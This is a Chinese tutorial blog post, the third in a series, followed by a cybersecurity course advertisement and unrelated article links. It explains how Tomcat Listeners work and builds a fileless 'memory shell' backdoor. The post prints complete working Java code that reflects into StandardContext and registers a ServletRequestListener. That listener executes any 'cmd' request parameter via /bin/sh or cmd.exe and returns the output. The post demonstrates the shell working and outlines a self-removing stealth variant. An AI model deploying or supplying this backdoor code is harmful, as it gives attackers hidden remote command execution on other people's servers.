深入底层源码的Listener内存马(内存马系列篇三)

news2024/11/26 18:31:35

写在前面

继前面的Filter``Servlet内存马技术,这是系列文章的第三篇了,这篇将给大家带来的是Listener内存马技术。

前置

什么是Listener?

监听器 Listener 是一个实现特定接口的 Java 程序,这个程序专门用于监听另一个 Java
对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法将立即自动执行。

监听器的相关概念:

事件:方法调用、属性改变、状态改变等。

事件源:被监听的对象( 例如:request、session、servletContext)。

监听器:用于监听事件源对象 ,事件源对象状态的变化都会触发监听器。

注册监听器:将监听器与事件源进行绑定

监听器 Listener 按照监听的事件划分,可以分为 3 类:

监听对象创建和销毁的监听器

监听对象中属性变更的监听器

监听 HttpSession 中的对象状态改变的监听器

Listener的简单案例

在Tomcat中创建Listener有两种方式:

使用web.xml中的listener标签创建

使用@WebListener注册监听器

我们创建一个实现了javax.servlet.ServletRequestListener接口的类。

package pres.test.momenshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class ListenerTest implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        System.out.println("destroy Listener!");
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("initial Listener!");
    }
}

将会在请求开始和请求结束分别执行requestInitialized或者requestDestroyed方法中的逻辑,

之后再web.xml中配置Listener。

<listener>
    <listener-class>pres.test.momenshell.ListenerTest</listener-class>
</listener>

之后开启tomcat容器。image-20220911141917981.png

在请求前和请求后都会执行对应逻辑。

Listener流程分析

首先给出程序到requestInitialized方法之前的调用栈。

requestInitialized:14, ListenerTest (pres.test.momenshell)
fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

将会到达StandardHostValve#invoke方法。

image-20220911142229473.png

调用了StandardContext#fireRequestInitEvent方法进行请求初始化。

image-20220911142312811.png

在其中,程序通过扫描web.xml中得到了对应的实例化对象,因为我们在web.xml中做出了对应的配置,所以我们能够通过if (instance != null && instance instanceof ServletRequestListener)的判断,进而调用了listener的requestInitialized方法。

即为我们的ListenerTest#requestInitialized方法。

image-20220911142624155.png

正文

有了上面的相关基础,更能加深对内存马的理解。

分析注入

同样在javax.servlet.ServletContext中对于addListener有三种重载方式。

image-20220911144601869.png

image-20220911144652343.png

跟进api中的注解

能够实现的的监听器有:

ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)

ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)

ServletRequestListener:对 Request 请求进行监听(创建、销毁)

ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)

javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听

javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

每一种 接口有着不同的方法存在,就比如ServletRequestListener这个监听器。

image-20220911151430482.png

存在有requestDestroyedrequestInitialized方法进行请求前和请求后的监听,又或者是ServletRequestAttributeListener这个监听器。

image-20220911151555376.png

存在有attributeAdded``attributeRemoved``attributeReplaced分别对属性增 / 属性删 /
属性替换做出了监听。

但是这些监听器都是继承同一个接口EventListener,我们可以跟进一下addListener在Tomcat中的实现

org.apache.catalina.core.ApplicationContext#addListener中。

image-20220911152543082.png

如果这里传入的是一个ClassName,将会将其进行实例化之后判断是否实现了EventListener接口,也就是是否在监听类中实现了特性的监听器。

如果实现了这个标志接口将会将其强转为EventListener并传入addListener的重载方法。

image-20220911152918128.png

同样和前面类似,不能在程序运行过程中进行Listener的添加,并且如果的监听器是ServletContextAttributeListener ServletRequestListener ServletRequestAttributeListener HttpSessionIdListener HttpSessionAttributeListener的时候将会通过调用StardardContext#addApplicationEventListener添加监听器,

又如果是HttpSessionListener ServletContextListener将会调用addApplicationLifecycleListener方法进行监听器的添加,

通过上面的分析我们不难得到Listener内存马中关于ServletRequestListener 这个监听器的实现步骤:

首先获取到StardardContext对象

之后创建一个实现了ServletRequestListener 接口的监听器类

再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加

实现内存马

有了上面的步骤我们就能够构造内存马

首先通过循环的方式获取StandardContext对象。

ServletContext servletContext = req.getServletContext();
StandardContext o = null;
while (o == null) { //循环从servletContext中取出StandardContext
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    Object o1 = field.get(servletContext);

    if (o1 instanceof ServletContext) {
        servletContext = (ServletContext) o1;
    } else if (o1 instanceof StandardContext) {
        o = (StandardContext) o1;
    }
}

之后创建一个监听器类, 我这里同样是一段任意代码执行的构造,通过reponse写进行回显操作。

class Mylistener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        ServletRequest request = servletRequestEvent.getServletRequest();
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if (osType != null && osType.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                Field request1 = request.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request request2 = (Request) request1.get(request);
                request2.getResponse().getWriter().write(output);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }
}

最后当然就是将Listen添加。

Mylistener mylistener = new Mylistener();
//添加listener
o.addApplicationEventListener(mylistener);

得到完整的内存马。

package pres.test.momenshell;

import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class AddTomcatListener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            ServletContext servletContext = req.getServletContext();
            StandardContext o = null;
            while (o == null) { //循环从servletContext中取出StandardContext
                Field field = servletContext.getClass().getDeclaredField("context");
                field.setAccessible(true);
                Object o1 = field.get(servletContext);

                if (o1 instanceof ServletContext) {
                    servletContext = (ServletContext) o1;
                } else if (o1 instanceof StandardContext) {
                    o = (StandardContext) o1;
                }
            }
            Mylistener mylistener = new Mylistener();
            //添加listener
            o.addApplicationEventListener(mylistener);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}
class Mylistener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        ServletRequest request = servletRequestEvent.getServletRequest();
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if (osType != null && osType.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                Field request1 = request.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request request2 = (Request) request1.get(request);
                request2.getResponse().getWriter().write(output);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }
}

内存马实验

这里同样使用在系列文章第一篇中提到的IndexServlet进行实验。

public class IndexServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String message = "Tomcat project!";
        String id = req.getParameter("id");

        StringBuilder sb = new StringBuilder();
        sb.append(message);
        if (id != null && id != null) {
            sb.append("\nid: ").append(id); //拼接id
        }
        resp.getWriter().println(sb);
    }
}

将会对传入参数id进行回显

之后配置addTomcatListener路由的Servlet进行内存马的注入。

这是最开始进行访问的情况。

image-20220911155333338.png

访问addTomcatListener路由进行内存马的注入。

image-20220911155411510.png

再次访问/index并传入cmd参数。

image-20220911155459240.png

发现不仅仅回显了我传入的id参数,同样进行了命令的执行。

其他的花样构造

在api中支持的监听器中,还有很多其他的监听器可以进行内存马的实现,这里仅仅是对其中一个比较方法的监听器进行了说明。

比如说ServletRequestAttributeListener这个监听器,在分析注入那里也有所提及,我们通要可以将我们的恶意代码插入在

image-20220911160206439.png

这些方法中进行对应的操作进行内存马的触发。

根据su18提供的一种攻击思路。

由于在 ServletRequestListener 中可以获取到
ServletRequestEvent,这其中又存了很多东西,ServletContext/StandardContext
都可以获取到,那玩法就变得更多了。可以根据不同思路实现很多非常神奇的功能,我举个例子:

  • 在 requestInitialized 中监听,如果访问到了某个特定的 URL,或这次请求中包含某些特征(可以拿到 request
    对象,随便怎么定义),则新起一个线程去 StandardContext 中注册一个 Filter,可以实现某些恶意功能。

  • 在 requestDestroyed 中再起一个新线程 sleep 一定时间后将我们添加的 Filter 卸载掉。

这样我们就有了一个真正的动态后门,只有用的时候才回去注册它,用完就删

总结

也在这里总结一下这三种的执行顺序和特性。

他们的执行顺序分别是Listener > Filter > Servlet

Servlet :在用户请求路径与处理类映射之处,添加一个指定路径的指定处理类;

Filter:在用户处理类之前的,用来对请求进行额外处理提供额外功能的类;

Listener:在 Filter 之外的监听进程。

总的来说Listener内存马比前两篇的危害更大,更具有隐藏性,且能够有更多的构造方式

最后,贴一下我总结的内存马编写流程

  1. 首先获取到StardardContext对象

  2. 之后创建一个实现了ServletRequestListener 接口的监听器类

  3. 再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/384802.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Pag的2D渲染执行流程

Pag的渲染 背景 根据Pag文章里面说的&#xff0c;Pag之前长时间使用的Skia库作为底层渲染引擎。但由于Skia库体积过大&#xff0c;为了保证通用型&#xff08;比如兼容CPU渲染&#xff09;做了很多额外的事情。所以Pag的工程师们自己实现了一套2D图形框架替换掉Skia&#xff…

GC Garbage Collectors

本质一、算法1、哪些是垃圾&#xff1f;引用计数法&#xff1a;reference countPython中使用了。个对象如果没有任何与之关联的引用&#xff0c;即他们的引用计数都不为 0&#xff0c;则说明对象不太可能再被用到&#xff0c;那么这个对象就是可回收对象。漏洞&#xff1a;循环…

C/C++每日一练(20230303)

目录 1. 字符串相乘 2. 单词拆分 II 3. 串联所有单词的子串 1. 字符串相乘 给定两个以字符串形式表示的非负整数 num1 和 num2&#xff0c;返回 num1 和 num2 的乘积&#xff0c;它们的乘积也表示为字符串形式。 示例 1: 输入: num1 "2", num2 "3"…

【Linux】PXE+Kickstart无人值守安装系统

文章目录前言一、简介二、配置DHCP三、TFTP四、SYSLinux服务程序五、vsftpd服务六、Kickstart应答文件七、自动安装系统八、总结前言 本文来记录下PXEKickstart无人值守安装系统。 当需要安装OS的主机数量较多时&#xff0c;我们不可能通过U盘或光盘给这一台台主机去安装操作系…

SpringCloud项目报错和解决方法记录

1、项目在IDEA中正常启动&#xff0c;打包后报错 背景 项目本地是没有 application.yml 配置文件的&#xff0c;而是把配置文件放在nacos上&#xff0c;本地只有一个 bootstrap.yml 来绑定nacos上的配置文件。 项目在IDEA上是可以正常启动运行的&#xff0c;然后我就准备打包…

Hadoop之hdfs查看fsimage和edits

/opt/module/hadoop-3.1.3/data/dfs/name/current (1) Fsimage文件: HDFS文件系统元数据的一个永久性的检查点&#xff0c;其中包含HDFS文件系统的所有目录和文件inode的序列化信息。 (2) Edits文件:存放HDFS文件系统的所有更新操作的路径&#xff0c;文件系统客户端执行的所有…

10个优质的基于Node.js的CMS 内容管理平台

冬尽今宵长❝hi, 大家好, 我是徐小夕,之前和大家分享了很多「低代码可视化」和「前端工程化」相关的话题, 今天继续和大家聊聊「CMS」系统.❞内容管理系统 (「CMS」) 使没有强大技术背景的人也能够轻松发布内容。我们可以使用 「CMS」 来管理我们的内容和交付。市面上有不同类型…

触摸屏如何远距离无线采集各从站的模拟量信号?

本方案是昆仑通态触摸屏与4台DTD433FC无线模拟量信号测试终端进行无线 MODBUS 通信的实现方法。本方案中昆仑通态触摸屏作为主站显示各从站的模拟量信号&#xff0c;传感器、DCS、PLC、智能仪表等4个设备作为Modbus从站输出模拟量信号。方案中采用无线模拟量信号测控终端DTD433…

厚积薄发百变求新 | 科士达100kW/125kW 超大功率模块UPS重磅发布

3月2日下午&#xff0c;“厚积薄发百变求新” 科士达100kW/125kW超大功率模块UPS新品发布会在云上顺利举办。会上&#xff0c;科士达正式推出100kW/125kW超大功率模块UPS&#xff0c;该产品功率密度较主流的50kW功率模块UPS提升了一倍&#xff0c;跨越了高密新高度。 本次发布会…

Python每日一练(20230303)

1. 两数之和 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里不能重复出现。 你可以按任意顺…

详解单链表(内有精美图示哦)

全文目录引言链表链表的定义与结构链表的分类单链表的实现及对数据的操作单链表的创建与销毁创建销毁单链表的打印单链表的头插与头删头插头删单链表的尾插与尾删尾插尾删单链表的查找单链表在pos位置后插入/删除插入删除单链表在pos位置插入/删除插入删除总结引言 在上一篇文…

K8s:渐进式入门服务网格 Istio (一)

写在前面 分享一些 Istio 的学习笔记博文内容涉及&#xff1a; istio 下载安装一个 Demo 运行什么是 istio&#xff0c;服务网格等概念介绍istio 架构组成&#xff0c;应用场景等 理解不足小伙伴帮忙指正 对每个人而言&#xff0c;真正的职责只有一个&#xff1a;找到自我。然后…

一文吃透 Go 内置 RPC 原理

hello 大家好呀&#xff0c;我是小楼&#xff0c;这是系列文《Go底层原理剖析》的第三篇&#xff0c;依旧分析 Http 模块。我们今天来看 Go内置的 RPC。说起 RPC 大家想到的一般是框架&#xff0c;Go 作为编程语言竟然还内置了 RPC&#xff0c;着实让我有些吃鲸。 从一个 Demo …

原型模式学习

本文讲解一下原型模式的概念并通过一个案例来进行实现。 4、原型模式 通过new产生一个对象需要非常繁琐的数据准备或访问权限&#xff0c;则可以使用原型模式原型模式就是Java中的克隆技术&#xff0c;以某个对象为原型&#xff0c;复制出新的对象&#xff0c;新的对象具有原…

VS2019加载解决方案时不能自动打开之前的文档(回忆消失)

✏️作者&#xff1a;枫霜剑客 &#x1f4cb;系列专栏&#xff1a;C实战宝典 &#x1f332;上一篇: 错误error c3861 :“_T“:找不到标识符 逐梦编程&#xff0c;让中华屹立世界之巅。 简单的事情重复做,重复的事情用心做,用心的事情坚持做&#xff1b; 文章目录前言一、问题描…

借助ChatGPT爆火,股价暴涨又暴跌后,C3.ai仍面临巨大风险

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 C3.ai的股价 作为一家人工智能技术提供商&#xff0c;C3.ai&#xff08;AI&#xff09;的股价曾在2021年初随着炒作情绪的增加&#xff0c;达到了历史最高点&#xff0c;但自那以后其股价就下跌了90%&#xff0c;而且炒作情…

数据正确性验证(造数据篇)

变更记录 记录每次修订的内容&#xff0c;方便追溯。 多行文本单选作者日期完成文档V1.02023-02-27V1.1V1.2 1. 数据质量检测标准 1.1 背景&#xff1a;整理数据质量测试的维度 摘取自国标文档 以上是除了常规的软件质量模型外&#xff08;软件测试质量六大特性&#xff0c…

Mysql Nested-Loop Join算法和MRR

MySQL8之前仅支持一种join 算法—— nested loop&#xff0c;在 MySQL8 中推出了一种新的算法 hash join&#xff0c;比 nested loop 更加高效。&#xff08;后面有时间介绍这种join算法&#xff09; 1、mysql驱动表与被驱动表及join优化 先了解在join连接时哪个表是驱动表&a…

ChatGPT今日正式开放API服务中小企业

开放隐私计算 开放隐私计算开放隐私计算OpenMPC是国内第一个且影响力最大的隐私计算开放社区。社区秉承开放共享的精神&#xff0c;专注于隐私计算行业的研究与布道。社区致力于隐私计算技术的传播&#xff0c;愿成为中国 “隐私计算最后一公里的服务区”。183篇原创内容公众号…

不要以没时间来说测试用例写不好

工作当中,总会有人为自己的测试用例写得不够好去找各种理由,时间不够是我印象当中涉及到最多的,也是最反感。想写好测试用例&#xff0c;前提是测试分析和需求拆解做的足够好&#xff0c;通过xmind或者UML图把需求和开发设计提供的产品信息提炼出来。 我个人的提炼标准一般是&…